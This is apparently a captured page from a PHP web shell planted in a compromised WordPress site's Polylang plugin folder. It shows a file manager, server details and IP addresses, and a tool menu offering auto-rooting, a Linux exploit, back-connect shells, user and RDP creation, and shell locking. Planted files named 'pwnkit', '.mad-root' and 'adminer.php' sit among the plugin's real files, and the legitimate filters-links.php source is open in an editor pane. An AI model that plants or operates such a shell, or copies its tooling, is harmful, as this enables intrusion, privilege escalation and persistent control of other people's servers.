Linux webd002.cluster130.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Apache
: 10.130.40.2 | : 216.73.217.172
Cant Read [ /etc/named.conf ]
8.3.31
espacpq
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
espacpq /
www /
wp-content /
plugins /
polylang /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Capabilities
[ DIR ]
drwxr-xr-x
Model
[ DIR ]
drwxr-xr-x
Options
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
frontend
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
integrations
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
settings
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adminer.php
0
B
-rw-r--r--
api.php
21.77
KB
-rw-r--r--
base.php
6.11
KB
-rw-r--r--
cache.php
2.4
KB
-rw-r--r--
class-polylang.php
8.34
KB
-rw-r--r--
constant-functions.php
1.81
KB
-rw-r--r--
cookie.php
3.03
KB
-rw-r--r--
crud-posts.php
12.82
KB
-rw-r--r--
crud-terms.php
8.75
KB
-rw-r--r--
default-term.php
6.44
KB
-rw-r--r--
filter-rest-routes.php
4.98
KB
-rw-r--r--
filters-links.php
5.64
KB
-rw-r--r--
filters-sanitization.php
3.23
KB
-rw-r--r--
filters-widgets-options.php
2.63
KB
-rw-r--r--
filters.php
12.94
KB
-rw-r--r--
format-util.php
3.04
KB
-rw-r--r--
functions.php
5.14
KB
-rw-r--r--
language-deprecated.php
7.13
KB
-rw-r--r--
language-factory.php
9.4
KB
-rw-r--r--
language.php
18.07
KB
-rw-r--r--
license.php
9.39
KB
-rw-r--r--
links-abstract-domain.php
3.16
KB
-rw-r--r--
links-default.php
3.03
KB
-rw-r--r--
links-directory.php
9.5
KB
-rw-r--r--
links-domain.php
2.91
KB
-rw-r--r--
links-model.php
6.52
KB
-rw-r--r--
links-permalinks.php
5.62
KB
-rw-r--r--
links-subdomain.php
2.16
KB
-rw-r--r--
links.php
1.38
KB
-rw-r--r--
mo.php
3.42
KB
-rw-r--r--
model.php
22.96
KB
-rw-r--r--
nav-menu.php
4.5
KB
-rw-r--r--
olt-manager.php
2.98
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
query.php
7.73
KB
-rw-r--r--
rest-request.php
4.22
KB
-rw-r--r--
static-pages.php
6.27
KB
-rw-r--r--
switcher.php
10.97
KB
-rw-r--r--
term-slug.php
4.89
KB
-rw-r--r--
translatable-object-with-types...
1.03
KB
-rw-r--r--
translatable-object-with-types...
1.96
KB
-rw-r--r--
translatable-object.php
17.62
KB
-rw-r--r--
translatable-objects.php
3.71
KB
-rw-r--r--
translate-option.php
13.1
KB
-rw-r--r--
translated-object.php
18.93
KB
-rw-r--r--
translated-post.php
17.17
KB
-rw-r--r--
translated-term.php
14.82
KB
-rw-r--r--
walker-dropdown.php
3.77
KB
-rw-r--r--
walker-list.php
2.54
KB
-rw-r--r--
walker.php
2.38
KB
-rw-r--r--
widget-calendar.php
11.58
KB
-rw-r--r--
widget-languages.php
5.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : filters-links.php
<?php /** * @package Polylang */ /** * Manages links filters needed on both frontend and admin * * @since 1.8 */ class PLL_Filters_Links { /** * Stores the plugin options. * * @var \WP_Syntex\Polylang\Options\Options */ public $options; /** * @var PLL_Model */ public $model; /** * Instance of a child class of PLL_Links_Model. * * @var PLL_Links_Model */ public $links_model; /** * @var PLL_Links|null */ public $links; /** * Current language. * * @var PLL_Language|null */ public $curlang; /** * Constructor. * * @since 1.8 * * @param PLL_Base $polylang The Polylang object. * @param-out PLL_Base $polylang */ public function __construct( PLL_Base &$polylang ) { $this->links = &$polylang->links; $this->links_model = &$polylang->links_model; $this->model = &$polylang->model; $this->options = $polylang->options; $this->curlang = &$polylang->curlang; // Low priority on links filters to come after any other modifications. if ( $this->options['force_lang'] ) { add_filter( 'post_link', array( $this, 'post_type_link' ), 20, 2 ); add_filter( '_get_page_link', array( $this, '_get_page_link' ), 20, 2 ); } add_filter( 'post_type_link', array( $this, 'post_type_link' ), 20, 2 ); add_filter( 'term_link', array( $this, 'term_link' ), 20, 3 ); if ( $this->options['force_lang'] > 0 ) { add_filter( 'attachment_link', array( $this, 'attachment_link' ), 20, 2 ); } // Keeps the preview post link on default domain when using multiple domains and SSO is not available. if ( 3 === $this->options['force_lang'] && ! class_exists( 'PLL_Xdata_Domain' ) ) { add_filter( 'preview_post_link', array( $this, 'preview_post_link' ), 20 ); } // Rewrites post types archives links to filter them by language. add_filter( 'post_type_archive_link', array( $this, 'post_type_archive_link' ), 20, 2 ); } /** * Modifies page links * * @since 1.7 * * @param string $link post link * @param int $post_id post ID * @return string modified post link */ public function _get_page_link( $link, $post_id ) { // /!\ WP does not use pretty permalinks for preview return false !== strpos( $link, 'preview=true' ) && false !== strpos( $link, 'page_id=' ) ? $link : $this->links_model->switch_language_in_link( $link, $this->model->post->get_language( $post_id ) ); } /** * Modifies attachment links * * @since 1.6.2 * * @param string $link attachment link * @param int $post_id attachment link * @return string modified attachment link */ public function attachment_link( $link, $post_id ) { return wp_get_post_parent_id( $post_id ) ? $link : $this->links_model->switch_language_in_link( $link, $this->model->post->get_language( $post_id ) ); } /** * Modifies custom posts links. * * @since 1.6 * * @param string $link Post link. * @param WP_Post $post Post object. * @return string Modified post link. */ public function post_type_link( $link, $post ) { // /!\ WP does not use pretty permalinks for preview if ( ( false === strpos( $link, 'preview=true' ) || false === strpos( $link, 'p=' ) ) && $this->model->is_translated_post_type( $post->post_type ) ) { $lang = $this->model->post->get_language( $post->ID ); $link = $this->options['force_lang'] ? $this->links_model->switch_language_in_link( $link, $lang ) : $link; /** * Filters a post or custom post type link. * * @since 1.6 * * @param string $link The post link. * @param PLL_Language $lang The current language. * @param WP_Post $post The post object. */ $link = apply_filters( 'pll_post_type_link', $link, $lang, $post ); } return $link; } /** * Modifies term links. * * @since 0.7 * * @param string $link Term link. * @param WP_Term $term Term object. * @param string $tax Taxonomy name; * @return string Modified term link. */ public function term_link( $link, $term, $tax ) { if ( $this->model->is_translated_taxonomy( $tax ) ) { $lang = $this->model->term->get_language( $term->term_id ); $link = $this->options['force_lang'] ? $this->links_model->switch_language_in_link( $link, $lang ) : $link; /** * Filter a term link * * @since 1.6 * * @param string $link The term link. * @param PLL_Language $lang The current language. * @param WP_Term $term The term object. */ return apply_filters( 'pll_term_link', $link, $lang, $term ); } // In case someone calls get_term_link for the 'language' taxonomy. if ( 'language' === $tax ) { $lang = $this->model->get_language( $term->term_id ); if ( $lang ) { return $this->links_model->home_url( $lang ); } } return $link; } /** * Keeps the preview post link on default domain when using multiple domains. * * @since 1.6.1 * * @param string $url URL used for the post preview. * @return string The modified url. */ public function preview_post_link( $url ) { return $this->links_model->remove_language_from_link( $url ); } /** * Modifies the post type archive links to add the language parameter * only if the post type is translated. * * The filter was originally only on frontend but is needed on admin too for * compatibility with the archive link of the ACF link field since ACF 5.4.0. * * @since 1.7.6 * * @param string $link The post type archive permalink. * @param string $post_type Post type name. * @return string */ public function post_type_archive_link( $link, $post_type ) { return $this->model->is_translated_post_type( $post_type ) && 'post' !== $post_type ? $this->links_model->switch_language_in_link( $link, $this->curlang ) : $link; } }
Close